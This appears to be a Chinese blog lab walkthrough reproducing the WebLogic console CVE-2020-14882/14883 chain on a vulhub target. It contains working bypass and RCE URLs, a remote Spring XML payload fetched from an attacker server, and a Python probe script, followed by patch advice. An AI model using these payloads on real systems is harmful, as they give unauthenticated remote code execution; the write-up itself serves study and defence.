Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

乐队1 2024-07-31 12:33:02 阅读 85

1 漏洞概述

Weblogic Pre-Auth Remote Command Execution 漏洞(CVE-2020-14882, CVE-2020-14883)是针对 Oracle WebLogic Server 的两个安全漏洞。CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 则允许经过身份验证的用户在管理员控制台组件上执行任意命令。这两个漏洞结合使用,可以使远程攻击者在未经身份验证的情况下接管 WebLogic Server Console 并执行任意代码,对系统造成极大的安全风险。

2 漏洞原理

CVE-2020-14882(未授权远程命令执行漏洞):远程攻击者可以构造特殊的 HTTP 请求,利用 WebLogic Server Console 的路径遍历漏洞,访问并修改管理员控制台的某些资源。通过这种方式,攻击者可以绕过身份验证,直接访问并操作管理员控制台的功能。

CVE-2020-14883(身份验证后远程命令执行漏洞):一旦攻击者通过 CVE-2020-14882 漏洞获得了对管理员控制台的访问权限,他们就可以利用 CVE-2020-14883 漏洞执行任意命令。这是因为管理员控制台组件中存在一个命令执行功能,允许用户通过 HTTP 请求提交并执行命令。由于该漏洞允许经过身份验证的用户执行任意命令,因此攻击者可以在服务器上执行任何他们想要的代码。

3 影响版本

该漏洞影响了多个版本的 Oracle WebLogic Server,包括但不限于 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0 和 12.2.1.4.0 等。

4 vulhub靶场启动

进入漏洞文件

cd vulhub/weblogic/CVE-2020-14882/

启动漏洞环境

docker compose up -d

查看漏洞端口

docker compose ps

访问 ,您将看到页面,表示环境正在成功运行。

5 漏洞复现

5.1 CVE-2020-14883:权限让漏洞

攻击者可以构造特殊请求的URL,即可未授权访问到管理后台页面:

http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal

问后台后是一个低权限的用户,无法安装应用,也无法直接执行任意代码。

5.2 weblogic远程命令执行(CVE-2020-14883)

结合 CVE-2020-14882 漏洞,远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

这个漏洞一共有两种利用方法:

第一种方法是通过com.tangosol.coherence.mvel2.sh.ShellSession

第二种方法是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

5.2.1 第一种方法(weblogic 12.2.x 适用)

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

5.2.1.1 GET请求方式(无回显)

直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

执行docker-compose exec weblogic bash进入容器中,可见/tmp/success1已成功创建。

5.2.2 第二种方法(weblogic 版本通用)

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

5.2.2.1 无回显验证

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,在kali上启动web服务器

python3 -m http.server

<?xml version="1.0" encoding="UTF-8" ?>

<beans xmlns="http://www.springframework.org/schema/beans"

  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

  xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">

      <constructor-arg>

        <list>

          <value>bash</value>

          <value>-c</value>

          <value><![CDATA[touch /tmp/success2]]></value>

        </list>

      </constructor-arg>

  </bean>

</beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.135.130:8000/rce.xml")

执行docker-compose exec weblogic bash进入容器中,可见/tmp/success2已成功创建。

6 编写python脚本探测漏洞

import requests

def cve_2020_14882(ip_address):

  url = f"{ip_address}/console/images/%252E%252E%252Fconsole.portal"

  headers = {

      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",

      "Content-Type": "application/xml",

  }

  params = {

      "_nfpb": "true",

      "_pageLabel": "HomePage1",

      "handle": "com.tangosol.coherence.mvel2.sh.ShellSession(java.lang.String.join('', java.util.stream.Stream.of('i', 'd').map(it -> java.lang.Runtime.getRuntime().exec(it)).toArray()))",

  }

  response = requests.get(url, params=params, headers=headers, timeout=10)

  if response.status_code == 200:

      print("命令执行成功!")

      #print(response.text)

  else:

      print("命令执行失败。")

if __name__ == "__main__":

print("注意:本代码仅用于实验和学习目的,请谨慎使用。")

  ip_address = input("请输入目标IP地址:")

  cve_2020_14882(ip_address)

结果

7 漏洞修复

为了修复这些漏洞,Oracle 发布了多个安全补丁。建议用户尽快将 WebLogic Server 升级到最新版本,并应用所有可用的安全补丁。此外,用户还可以采取以下措施来降低风险:

限制对管理员控制台的访问权限,只允许受信任的用户进行访问。

使用强密码策略,并定期更改密码。

启用 WebLogic Server 的安全功能,如访问控制和审计日志记录等。



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。